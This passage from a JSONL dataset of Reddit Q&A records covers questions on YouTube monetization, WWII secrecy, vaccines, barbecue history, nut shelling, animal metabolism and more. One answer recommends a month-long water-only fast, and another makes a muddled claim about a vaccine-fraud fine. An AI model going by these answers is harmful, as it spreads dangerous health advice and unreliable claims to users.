white supremacists!\" it could end up making no money because of the algorithm detection. The demonetization can be petitioned, but by the time your video has been monetized, the majority of the views have already been viewed for most channels, and they made no moneh from the video even if it had millions of views.", "There are multiple reasons: \n\n* Videos get demonetized when they don't contain \"advertiser-friendly\" content. This is mostly an automatic process, which seems very inaccurate/selective/arbitrary at moments. \n\n* Demonetized videos are shown less in recommendations, trending feeds, etc. This means that if you have alternative revenues from your video - Amazon affiliate links, sponsorships, ... - they also get a lot less views and lose a ton of value. \n\n* Small channels ( < 1000 subs I think) aren't eligible for monetization at all anymore. Combine that with the point above, and you see that it becomes extremely hard for new channels to grow. \n\n* Besides \"advertiser-friendly\" content, YouTube also favors other statistics in its recommendations. Most impactful are upload frequency and duration. The ideal situation is apparently daily 10 minute videos. Therefore a lot of people who make short sketches, or make high-quality videos that take a week to create don't get shown as much as before, and see a lot of low-effort \"stream highlight\" videos thrive instead. \n\n* The whole subscribe-notification stuff: subscribing to a channel has become less and less valuable. If the creator doesn't follow the rules mentioned above, his videos won't even be promoted to his subscribers. \n\nAll these algorithms and regulations make it very hard for unconventional and small YouTubers to make money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a8lgtu", "title": "Did loose lips really sink ships?", "selftext": "We\u2019ve all seen the propaganda posters from WWII about keeping quiet on military operations.  But was this a real fear?  Was there any instance where Axis powers found out about something critical by listening in to the common man on the street?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a8lgtu/did_loose_lips_really_sink_ships/", "answers": {"a_id": ["ecc4cc7", "ecc73lf", "ecceu6l"], "score": [55, 400, 14], "text": ["Follow-up question: And vice versa, did the Allies gain any intelligence that way in Germany, Italy, Japan or any of the other fascist states?", "Possibly, though it's hard to fully prove. . \n\nHouse of Representative Member and chairman of the House Military Affairs Committee during WWII, Andrew J. May is not necessarily a common man, but certainly is credited for the loss of multiple US Submarines in the Pacific Theater thanks to a rash disclosure he made to the press. With his role as chairmen of the Military Affairs Committee, May had access to a good amount of classified wartime briefings and the like.\n\nCongressmen May held a press conference after returning from a war zone briefing tour, where he revealed the fact that Japanese Anti-Submarine Forces often set their depth charges to explode at a shallower depth than US Submarines could dive, allowing the subs to effectively go deep and escape. \n\nThe press published this information, wiring it to newspapers across the country and ultimately the world, thus alerting the Japanese to their error, and here's where the hard facts end. A number of American published sources (books on the war) have printed a statement by Admiral Charles Lockwood, Commander, US Pacific Submarines, who estimated that this leak saw the loss of as many as ten submarines and some 800 crew.  \n\nThis seems pretty damning for May, and he certainly got some nasty press over this. However, we have to look into some other details as well. May's leak did not disclose the test depth that US Submarines were capable of, nor does a post-war US Navy report mention any change in deployment of depth charges by the Imperial Japanese Navy after the May Incident. Nor do any of the common sources I have handy contain any information on the Japanese side of the conflict, relating this discovery. Someone else may be able to expand more on this. \n\nUltimately, we can't prove that May's loose lips actually sunk any given submarine, but the incident proves well why military and government officials were worried about such matters.\n\n**Sources:** \n\nSubmarine Report\nDepth Charge, Bomb, Mine, Torpedo and Gunfire Damage Including Losses in Action\n7 December, 1941 to 15 August, 1945\nVolume 1\n\nClay Blair (2001). Silent Victory: The U.S. Submarine War Against Japan. 1. The Naval Institute Press. p. 397.\n", "Additional question. Looking at a lot if the posters from the time it seems like a lot if the posters were referencing cargo shipping rather than just military. Was a lot of it also about convoy movements and the merchant marines? Iirc the Germans attacked a lot of shipping on the east coast."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1e03f4", "title": "Why does syphillis become latent?", "selftext": "After the secondary stage of the disease syphilis, it often enter a stage where there are no visible symptoms and the bacteria apparenty lies dormant in the spleen and lymf nodes. What I am wondering is what causes the bacteria to enter this stage.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e03f4/why_does_syphillis_become_latent/", "answers": {"a_id": ["c9vinjl"], "score": [2], "text": ["as a general rule for pathogens, to avoid an immune response from the host they reduce their virulence and go relatively unnoticed and reproduce less. in this time the infection can become widespread yet not problematic so when the bacteria decides to spread or otherwise induce harm it is very capable. i'm sorry i do not know the molecular answer to this"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ipebn", "title": "When was the first modern barbecue made? When did a \"barbecue culture\" really start to catch on? Were barbecues received well when they first came to the market?", "selftext": "Clarification: I'm asking about barbecues as in the piece of equipment with which you barbecue food. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ipebn/when_was_the_first_modern_barbecue_made_when_did/", "answers": {"a_id": ["d2zyijv", "d307l7w"], "score": [11, 30], "text": ["Hiya! Interesting question, but to help people answer it, are you talking about barbecue as in the food item, or barbecue as in the concept of outdoor cooking and cooking accessories? Thanks! ", "I live in the part of the world where \"barbecue culture\" refers to people that have very intense arguments about meats, rubs, sauces, cooking temperatures and times, and woods to use, and none of it has to do with cooking over direct heat. I won't take sides in that here (but if you want to know where to get the best of the best, I can list some BBQ joints in central Texas). \n\nHowever, you want to know about the equipment, not the slow roasted delicacy. Before Columbus the indigenous people in parts of the Caribbean and south Florida used a frame of sticks they called a 'barabicu' to smoke fish and meats. Though I'm sure lots of other indigenous groups as well as the Europeans had their own ways of curing or roasting meat, that word spread as 'barbacoa' in Latin America and as 'barbecue' in Anglo North America, and regional differences developed. \n\nHow the word came to mean the same as grill to some people, and how it became common outside the southeast, involves a guy named E.G. Kingsford and his wife's cousin, Henry Ford. Ford's company was building Model-Ts at the time, and those had wood dashboards, running boards, and sometimes parts of their bodies; they used so much wood that they had their own sawmill, but it produced lots of scrap. His cousin-in-law, Kingsford, suggested he start making charcoal with a new process that made small pillow shaped pieces, briquets. Soon the charcoal production was out running the commercial demand so they started selling charcoal at their dealerships. Then to increase charcoal demands, they created small portable 'picnic kits' including a little 'barbecue grill', which were sometimes given away with the cars (this was also seen as marketing cars as a way to get out into the country side). That campaign was the first to try to sell outdoor cooking, other than just using a campfire.\n\nI'm not sure that *The New York Times Magazine* qualifies as a scholarly enough source, but [here's a link](_URL_0_)  \n\n    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nytimes.com/2014/09/28/magazine/who-made-that-charcoal-briquette.html?_r=0"]]}
{"q_id": "32g88g", "title": "why no nuclear *research* subs?", "selftext": "There was the NR-1 but it was decommissioned in 2005. It was extremely useful for longterm expeditions as a sort of mobile habitat. We now have a fleet of something like 71 nuclear subs, none of which have ever been used in battle. Can we really not spare *one* for scientific use?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32g88g/eli5_why_no_nuclear_research_subs/", "answers": {"a_id": ["cqaw5et", "cqb215z", "cqb545f", "cqbcb19", "cqbhpez"], "score": [21, 16, 11, 6, 8], "text": ["They have been used on occasion.  They are **warcraft**, expensive ones, designed precisely for the mission of guarding a nation.\n\nWe can further lament that far too much is spent on weapons, that not enough is allocated to fundamental research for the betterment of mankind.", "No one builds them for research because they're obscenely expensive to build.\n\nAs for why navies don't sell off their old ones... for one thing, there are proliferation concerns. Also, subs are not easily serviceable, at all. Modern designs cannot even be refueled. They're built with enough fuel to last for their entire service lifespan, then decommissioned and scrapped at the end of it.", "Modern technology has rendered a nuclear powered research vessel unnesscary.  While NR-1 could stay on station independent of a tender, it was rare that she would have operated that way for very long, and it unsafe for the crew to be too far from a surface ship for extended missions. Today, remotely operated submersible drones are more capable than NR-1 at research and recovery, and tethered, manned submersibles are far less costly in every way. There's nothing that a nuclear powered sub can do for research and recovery that a ship based system couldn't do as well or better at a fraction of the cost. \n\nOn occasion, military subs do get used for academic purposes, but no one is going to pay for a full time research hull at a price tag upwards of a billion dollars.", "The scientific return on the investment of resources for that project would be greater if applied to robotic exploration. ", "Combat subs are built for combat. They're ill suited for research, which itself is a very vague. Research requires specialized hardware designed for the task at hand. \n\nThat said, everything operates on a finite budget. Nuclear subs are expensive. Why pay 1000x the price of standard equipment to do the exact same job? It just takes money away from other useful work. They have a role and a benefit for military purposes, but that doesn't aid research in the same fashion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5jz1zm", "title": "How are infectious organisms \"weakened\" for live vaccines?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5jz1zm/how_are_infectious_organisms_weakened_for_live/", "answers": {"a_id": ["dbk8d9r", "dbk8k79", "dbkefz7", "dbkgtvz"], "score": [30, 7, 2, 108], "text": ["The process of [serial passage](_URL_0_) is basically taking a virus that's well adapted to one host and forcing it to grow in very different cell conditions then putting it back into the original host when it's no longer well adapted. There's always the risk that viruses will just mutate back to their original type as, for instance, sometimes happens with vaccine-derived polio.", "When your body detects a virus, it does not recognize the whole virus; instead, it recognizes protein patterns on its surface. For some vaccines, it's possible to reproduce this proteic pattern without the rest of the virus attached to it - effectively there's nothing that can infect you in such vaccines. They do tend to work slightly less that attenuated vaccines with \"real virus\" in them tho.", "I believe you can also if this isn't already described, use viruses on an animal then move it to the person in the form of a vaccine.\n\nHowever there is a case that I believe GlaxoSmithKline and or merck was involved where as this or a similar technique was over used and the vaccine instead didn't work or even caused/contributed the spread of I believe measles/mumps...They were fined 3 billion for faking antibodies results.", "There are many ways through which live attenuated vaccines have been made.\n\n1.  Repeated passage in cells from a different species.  For example, [Modified vaccinia Ankara](_URL_1_), a mammalian vaccine, was passaged through chicken eggs hundreds of times.  This is one of the classical ways of making attenuated vaccines, such as for [measles](_URL_5_), [polio](_URL_0_), and [mumps](_URL_6_).  \n\n2.  Repeated passage in cold temperatures, to make temperature-sensitive strains that don't replicate properly in body temperature.  For example, live attenuated influenza vaccines use the [Ann Arbor](_URL_4_) cold-adapted strain as their background.\n\n3.  Deliberate reassortment with a related virus that leaves both weakened. For example, the [RotaTeq rotavirus vaccine](_URL_2_) is made by combining human and bovine rotaviruses.  \n\n4.  Intentional modification through genetic engineering.  I'm not sure if these are in clinical use, but at least experimental variants of [polio](_URL_3_) have been made."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Serial_passage"], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3782271/", "https://en.wikipedia.org/wiki/Modified_vaccinia_Ankara", "http://www.fda.gov/downloads/BiologicsBloodVaccines/Vaccines/QuestionsaboutVaccines/UCM101457.pdf", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2754401/", "http://www.sciencedirect.com/science/article/pii/S0042682208004868", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2249374/pdf/epidinfect00011-0228.pdf", "https://www.ncbi.nlm.nih.gov/labs/articles/4990327/"]]}
{"q_id": "82cpyt", "title": "why do tooth whitening strips make my teeth so dang sensitive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82cpyt/eli5_why_do_tooth_whitening_strips_make_my_teeth/", "answers": {"a_id": ["dv95wl5", "dv9athh"], "score": [22, 5], "text": ["Because they are damaging the teeth. They bleach the teeth and remove the top layers of enamel, or at least soften them. ", "Think of teeth made of tiny rods. Each rod goes towards the nerve of the tooth somewhat. Everytime you whiten it's like opening these rods like you are opening the pores of your skin. The more you whiten your teeth you are more or less opening more pores. Eventually this increases the 'sensitivty' of the tooth. What desensitizing pastes normally do is block these pores. Agressive whitening like the charcoal shit you can buy is actually shearing off the layers of enamel. Of course this makes your teeth white but the more you shear that enamel aint coming back. \nSource: how I normally explain to my patients. Could go into alot of theories but hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9rcgd4", "title": "why do so many turn-based rpgs use four-person parties instead of another number?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rcgd4/eli5_why_do_so_many_turnbased_rpgs_use_fourperson/", "answers": {"a_id": ["e8fsgq4", "e8fsy1f", "e8g1ika", "e8g1nee"], "score": [19, 74, 6, 6], "text": ["Dates back to early games where the classes were generally warrior, thief, healer, mage and having a party of 4 you could have one of each with two fighting characters in front and two magic characters at the back whilst dungeon exploring.", "If we look back to the early days of Dungeons  &  Dragons (though not the very original release, which had 3 classes, but the first supplemental as well as the bigger releases like Advanced D & D and the Basic Set), we can see the origins of the four \"classic\" RPG archetypes: Warrior, Thief, Cleric, Wizard.  In a lot of ways, most future RPG classes can trace back to these archetypes or are created by combining or augmenting one or more of these archetypes: heavy, armored fighter, light/sneaky fighter, offensive magic user, and defensive/healing magic user.  These are four very distinct roles with a clear flavor and usually distinct visual style.\n\nFast-forward a bit to the original Final Fantasy, one of the forerunners of the party-RPG, and you see a four person group, with the character options loosely fitting into those groups: Fighter (heavy), Thief and Monk (light), Black Mage (offensive magic), White Mage (defensive magic) and Red Mage, acting as a hybrid.  While there's room to explore and mess around with the traditional party setup, the design of the game is such that you'll be prepared for most challenges with a nice variety of those classes, creating a sense of teamwork and reliance on each character for different scenarios.\n\nOf course, that four-person-group is not a hard and fast rule by any means.  You can get most of that in a three-person group and you can have an additional role or double up in a five-person party.  But as a general starting point, the crux of RPG character types starts with those four classic divisions, so it's very common to see a four-person party setup in the typical RPG..", "In addition to what has been said, four is an easy number to manage. More variety than three, but less moving parts than five. Plus, you've got the four elements, which tie neatly to the different roles.\n\nFighter - Earth\n\nRogue - Wind\n\nMage - Fire\n\nHealer - Water\n\nYou'll find that these archetypes are even represented in the Avatar universe, where each society tends to embody traits of each corresponding archetype.", "Genre convention mostly. You'll still see 3 on occasion. 1-2 happens on occasion as well, in pokemon games most notably. \n\nYou used to see 5-6 on occasion, with stuff like Ogre Battle or Suikoden series, and a lot of 'tactics' games keep the larger roster.\n\nIn general, 3-4 is the sweet spot, where you have variety, but still enough screen time. Early experimentation kinda settled on this, and it's eventually become ingrained as genre convention.\n\nYou can see games with 1-3 slots like pokemon or ffx-2 allow you to swap out your party members more frequently to give you more variety, and games with 5+ give you 'combined attacks' or other pairing mechanics, to streamline your choices and help with the screentime issues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "cq83iz", "title": "AskScience AMA Series: I'm Dr. Haider Warraich, a cardiologist who wrote a new book on humanity's greatest killer: heart disease. Ask me anything!", "selftext": "Heart disease still kills more people than any other disease in the world, yet there are so many myths, misconceptions and misinformation about it. I'm cardiologist Haider Warraich, author of the new book, [State of the Heart - Exploring the History, Science and Future of Cardiac Disease](_URL_0_) (St Martin's Press, July 2019), where I break down the history of the heart, what we know about it today, and what we know about its future study. I write frequently for the New York Times, where you can read my Op Eds. See everyone at 12pm ET (16 UT), ask me anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cq83iz/askscience_ama_series_im_dr_haider_warraich_a/", "answers": {"a_id": ["ewujjl4", "ewuqfjv", "ewuswj2", "ewuyjpy", "ewuz0w0", "ewuzrx9", "ewuzszo", "ewv0y5g", "ewv11on", "ewv32k2", "ewv37kl", "ewv4b7j", "ewv7kib", "ewvqq6c", "ewvsdfn"], "score": [9, 5, 4, 3, 3, 3, 6, 3, 3, 3, 3, 6, 2, 2, 2], "text": ["What are some signs of heart disease that show up long before heart failure? \n\nHow can a younger person keep a eye on their heart health via the medical system? Say someone who lives a lifestyle similar to zyzz([_URL_0_](_URL_1_))", "Hi and thanks for joining us today!\n\nA bit of an existential question, in late life would it be better to die of heart disease or cancer? You talk about heart disease being the worst killer but isn't that actually a good thing in most cases?", "Since this apparently controversial, what do you think is the role between dietary fats and cholesterol, LDL cholesterol levels and atherosclerosis?", "Hi, thanks for joining us! So, since I don't have your book in front of me, what exactly is the future of cardiac disease? Do you discuss the future of the research or the projected progress in fighting the disease (or both)?", "Hi, how does stress and anxiety contribute to the development of heart disease?", "Is heart disease reversible?", "In hospital settings, risk models don\u2019t adequately take into account socioeconomic status and similar, related factors. Are you aware of other things not taken into account, generally speaking, that you believe are important to improving cardiovascular health in the future?", "What do you think of the keto diet?", "Do you see any promising imaging solutions to detecting CAD more easily than currently?", "How do you think the treatment of heart disease will change over the next few decades?   \nDo you foresee any new technologies such as CRISPR, growing a patient\u2019s own heart tissue in a lab, augmented reality in surgery, nano technology or AI having a significant impact?\u00a0", "Best recommendation for someone over 50 to maintain a healthy heart?", "Hi Everyone - Haider Warraich here! Kick starting this AMA! Heart Disease is our greatest threat to living a long life and today will tackle your questions!", "Keep your questions coming y'all! And if you have any leftovers, find me on Twitter @haiderwarraich", "There seems to be an emerging consensus that dietary cholesterol has little effect on  endogenous cholesterol, for the majority of people. Is this true?", "What part will A.I play in the future of heart disease technology?"]}, "title_urls": [], "selftext_urls": ["https://www.amazon.com/State-Heart-Exploring-History-Science/dp/1721383581"], "answers_urls": [["https://en.wikipedia.org/wiki/Aziz\\_Shavershian", "https://en.wikipedia.org/wiki/Aziz_Shavershian"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ek4u9", "title": "why families don't move thousands of miles away from that yellowstone volcano with so much drilling, fracking and earthquakes so close to it ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ek4u9/eli5_why_families_dont_move_thousands_of_miles/", "answers": {"a_id": ["ca11907"], "score": [3], "text": ["Think about it this way; what if I asked you to uproot your entire life, leave your work, leave your house, friends, family. Can you afford to do this? Can you get a new job elsewhere?\n\nIt's a lot easier to stay for most people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cskx6w", "title": "how do machines de-shell nuts like sunflower seeds and peanuts in massive quantities without harming the actual nut itself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cskx6w/eli5_how_do_machines_deshell_nuts_like_sunflower/", "answers": {"a_id": ["exfql4s", "exfs14c", "exfstxm", "exgglqw", "exgy25d"], "score": [176, 4265, 43, 56, 2], "text": ["Peanuts are shelled kinda like grating cheese.  There is a set of screens (like holes in cheese grate) in which the whole in-shell peanut is on with holes large enough for peanut meat to fall thru. Then on top is a set of bars that rub the peanuts one direction then other like grating cheese...  the shells slowly breaks up allowing meat inside to fall thru. Hulls are blown/vacuumed off and you are left with raw shelled peanuts.", "It varies depending on the type of nut, but generally speaking they go through a machine with a rotating drum inside a stationary drum: the gap between the drums is slightly smaller than the whole nut with its shell but bigger than the nutmeat inside.  This gently cracks the shell, and then the nutmeat and shell pieces fall out through the bottom.\n\nTypically the shells are separated from the nutmeats using an air blast, which blows the light shells away and leaves the heavy nutmeats behind.\n\nHow do they do it without harming the nutmeat?  Well, they do harm a lot of them, but they use screens and air flow and manual inspection to sort them by size and weight, so the intact nuts get sold in the snack aisle, while the broken ones get sold as chopped nuts, butter, meal, or oil.\n\n_URL_0_\n\n_URL_1_", "Well, they do often break the nut meat. Then the nuts get sorted by size. Whole nuts fetch a premium. The cracked bits get sold as pieces or are ground down further.", "For sunflowers, there's a machine called a \"dehuller\" which looks like a giant disc brake rotor.  The machine is spun up to well over 1,000 RPM, and the seeds are dumped in the middle (at a carefully controlled rate).  The huge amount of centrifugal force from the machine throws the sunflower seed out the side and against a steel or ceramic ring around the rotor, smashing the hull apart.\n\nIt doesn't get the seed out perfectly, and a lot of them end up smashed into little pieces.  The smashed shells are also still mixed up and have to be separated.  This is done with a series of air-based machines, and the shells are sold as an alternative to coal for heating buildings.\n\nThe seeds are then sorted out by size using a machine called a Gravity Table (google it, it's too hard to explain here).  The tiniest pieces are called \"fines\" and are used to make the birdfood that comes glued to plastic sticks at pet food stores.  The ones that are just broken in half are called \"mediums,\" which also go to birdfood and/or oil, and the whole seeds are called \"Coarse chips,\" which are sold as food to go in multigrain bread/everything bagels, salad bars, or as birdfood.\n\nSource:  Used to work in a sunflower processing plant.", "In some cases is cheaper to de-shell walnuts by hand. You get a better quality as well. \n\n_URL_0_ @13:25"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=6sX1llIO6QU", "https://www.lmcarter.com/peanut-shellers/"], [], [], ["https://youtu.be/ZFMEl0DUvPk"]]}
{"q_id": "40pqzl", "title": "how were audio frequencies measured in hertz before computers?", "selftext": "For example: if you need to tune a piano and you know a certain key needs to be 440Hz, how do you know where 440Hz is? You could use a tuning fork, but then how do you know the tuning fork is 440Hz either?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40pqzl/eli5_how_were_audio_frequencies_measured_in_hertz/", "answers": {"a_id": ["cyw5mwu", "cyw9zc3", "cywb40o", "cywchmq"], "score": [8, 2, 2, 2], "text": ["[Helmholtz resonators](_URL_0_), for one- Helmholtz published his *On The Sensations Of Tone* in 1862. You'll notice that he used the older term 'cycles per second.' Later we began using Hertz's name for the same unit of measurement, as it's shorter ^_^", "If you have a tune-able resonant circuit, and a microphone  &  amplifier for the sound, and a dial gauge, you can observe the intensity of the signal as you adjust the operating frequency of the circuit.  When the signal reaches peak intensity, that is the frequency of your signal.", "You can measure the speed of sound by the delay between a flash of light and the accompanying noise.\n\nYou can measure the wavelength of a pitch from the length of tube that creates that pitch when blown over.\n\nfrequency = speed / wavelength", "Vibration/sensors engineer here.  Not too familiar with the history, but the Tl;dr from Wiki:\n\nIn 6BC., Pythagoras wanted to know why some string lengths (when plucked) sounded harmonious with others.  He found that there was a pattern between the length of the string being plucked and weather it wold be harmonious when plucked next to another resonating string of a different length.\n\nThis was the first measure of an audio \"frequency\" in that the actual frequency a string vibrates at is mathematically related to the string's length, the lengths Pythagoras observed (all other factors constant).\n\nend tl;dr \n\nSound is a energy in the form of a wave of fluctuating pressure traveling through air.  When it hits another object, it can convert some of that sound energy to make that object vibrate (such as your ear drum).\n\nIn modern day (early 1900s radio), we have sensors that convert the sound wave energy into an electrical voltage signal.  This signal can be encoded and sent at the speed of light across the world, to be decoded inside someone else's radio thousands of miles away.\n\nFlash forward to today (2010s):  we have sensors that can very precisely convert sound waves that can be sampled by a computer with great precision.  The use of the PC gives unprecedented control over manipulating the sound.\n\nIt all boils down to the fact that computers are much more economically feasible way of processing data than with analog circuits, mainly because analog circuits lose energy (ie the signal fades) more as your filtering process becomes more intensive (as you manipulate the signal more and more).  The cost of building analog equipment with the capabilities of simple audio software would be astronomical compared to the cost of the software.\n\nThe main reason comes down to this:  the frequencies of audible hearings are 0-20kHz, yet computer chips (analog-digital converters) can sample at rates in the MHz - orders of magnitude faster.  And they can process said signals quite quickly too, depending on what software and hardware they are running on.\n\nEdit:  clarity in wikipedia summary"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Helmholtz_resonance"], [], [], []]}
{"q_id": "1s76cx", "title": "What are prince-bishops?", "selftext": "What are prince-bishops? When did prince-bishoprics start, and when did this type of state cease to exist?\n\nWere prince-bishops mostly independent, or did they fall under the authority of some King, Emperor, or the Pope?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1s76cx/what_are_princebishops/", "answers": {"a_id": ["cdup83a"], "score": [4], "text": ["In the most general sense, prince-bishops are bishops who rule a principality.\n\nThe vast majority of prince-bishops were under the Holy Roman Empire from about the 10th century until its end. The individuals basically held two positions: bishop of a Catholic diocese and prince of a temporal principality.\n\nJust like any other bishop, they were responsible for the spiritual leadership of their diocese/bishopric and were answerable to the Pope.\n\nConcurrently, that individual ruled a principality (which could be larger or smaller than their diocese - it wasn't always the exact same plot of land) and had all the rights of an Imperial Prince, like representation in the Imperial Diet. Technically, as part of the HRE, they were answerable to the Holy Roman Emperor but they had essentially supreme power within their principality.\n\nThese positions could be a great thing for the Emperor, as a bishopric could not be hereditary. This would ensure that the holder's family did not become powerful enough to challenge the emperor and they would be sure to work for the good of the empire more than just for the good of their principality."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "epes7w", "title": "how can most predators like crocodiles for example eat a gazelle and not have to eat again for another month, while us humans could eat until our stomachs explode and we'd still be hungry the next day", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/epes7w/eli5_how_can_most_predators_like_crocodiles_for/", "answers": {"a_id": ["fej0esp", "fej0fas", "fej1afe", "fej4lwt", "feju36f", "fejuyv0"], "score": [6, 103, 2, 3, 2, 19], "text": ["I dont know about lions, but aren't crocodiles cold blooded? That would mean they dont need to eat as much, as they arent using energy to maintain body temperature", "Warm blooded predators like lions are just like humans and have to eat every day or close to it.\n\nCold blooded predators have a much slower metabolism than warm blooded animals.  The overwhelming majority of the calories that a warm blooded animal is eating each day go to maintaining its body temperature, which cold blooded animals don't have to do.  For example, a 1 ton crocodile and a small chicken both use the same number of calories in a day.  If the crocodile takes in hundreds of times it's daily caloric intake in one meal - such as it would if it ate an entire antelope - then it can survive off those calories for months without having to eat anything else.", "The nile crocodile weighs anywhere between 500- 1,200 lbs and can eat up to 50% its body weight in one sitting. They eat around 50 meals/year which is a little less frequently than once/week. \nThe average human weighs 137 lbs and eats between 3-5lbs of food/day (~3% body weight) and eats everyday.  In one sitting, crocodiles can eat up to 17 times more lbs of food per body weight than humans which is why they can eat so infrequently relative to humans. (All info found on google so take it with a grain of salt.)", "They don't necessarily eat it all at once. If it's more than they can eat at a time, they'll break off pieces and store the rest. It also helps that they are cold blooded and have a slower metabolism.", "You too can do the same with discipline but not often. Try it.  It\u2019s also good for giving the body a break.   Clean out thy schedule and rest for 1 month and only drink water.   You\u2019ll be a new creature when you return to the world.", "Warm-blooded animals expend most of their energy on maintaining their body heat. Comparatively speaking this makes them fast. Fast thinking, fast-moving, fast reacting. It's like permanently keeping the engine of your car idling so you can floor the gas pedal as soon as you need it.\n\nBy comparison, cold-blooded animals are incredibly energy efficient. They don't waste any energy on maintaining body heat. Body heat is important because it increases the efficiency of the chemistry that makes our bodies work. \n\nHaemoglobin releases oxygen more easily when warm for instance, that means muscles work better when they're warm. Which in turn is why you'll see cold-blooded animals lethargically sunning themselves in the morning to prepare for the day's activities. Digestive enzymes also work better in a warm environment and there are many other chemical processes in the body that need heat.\n\nSo what's the advantage of being cold-blooded? Simply put, life is dangerous. The safest thing to do in life is to hide away and hope nobody finds you. But animals need to eat, drink, reproduce, give birth and do all kinds of things that leave them dangerously exposed to predation and accidental injury.\n\nThat means that the next best thing is to use as little energy as possible. The less energy you need, the fewer risks you need to take to obtain it. \n\nMinimising energy requirements is one of the many strategies organisms employ to survive. And it's a very successful one. Us mammals are living the fast life compared to most life on Earth, it provides a lot of advantages but it comes at a major cost."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3cml0e", "title": "why cats hang open their mouths a bit when they smell something odd", "selftext": "edit: thank you for the answers! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cml0e/eli5_why_cats_hang_open_their_mouths_a_bit_when/", "answers": {"a_id": ["cswykhg", "cswym0e"], "score": [14, 4], "text": ["Not an expert, but cats have something called a jacobsons organ or vomeronasal organ located on the roof of their mouth. It is particularly good at detecting pheromones. Breathing through the open mouth would expose the organs to more of the the chemical in the air. The flehmen response is the funny face they make to direct more of the chemicals to the organ.", "They have a secondary sense of smell that detects pheromones (odor particles from sweat and other body fluids that tend to trigger appropriate behaviors in animals, when in distress some animals will give off alarm pheromones that cause alarm in nearby animals of the same species; when in heat animals may give off sex pheromones that trigger a sexual response in members of the opposite sex in their species, etc).\n\nThe receptors for this are at the base of the nasal cavity -- in this image you can see the way the nasal cavity connects to the mouth: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://maxshouse.com/Illustrations/vomeronasal.jpg"]]}
{"q_id": "6yfa40", "title": "Why is churchill viewed positively when he was responsible for the death of 1 million+ indians in Bengal famine due to the British taking away Indian food for feeding british army in ww2 ? Why is this not as widely known as Hitler's Holocaust of jews", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6yfa40/why_is_churchill_viewed_positively_when_he_was/", "answers": {"a_id": ["dmmvrxl"], "score": [2], "text": ["This submission has been removed because it is soapboxing, promoting a political agenda, or moralizing. When we refer to \"soapboxing\" as an activity on /r/AskHistorians, we are referring to those who are attempting to use the sub or history as a platform to promote an agenda, be it political, religious, social, etc. We are here to answer your questions about issues, not provide a sounding board for your theories or a podium for your lectures. A core aspect of the functioning of /r/AskHistorians is that questioners seek to learn in good faith, and that those answering seek to teach in kind. Questions and answers that seek to promote certain agendas at the expense of these values run counter to good historical practice and to the culture we seek to promote on here.\n\nPlease see [this Rule Roundtable post and the discussion following it](_URL_0_) for more information on the reasons for this rule."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4eb8kr/rules_roundtable_9_soapboxing_moralizing_loaded/"]]}
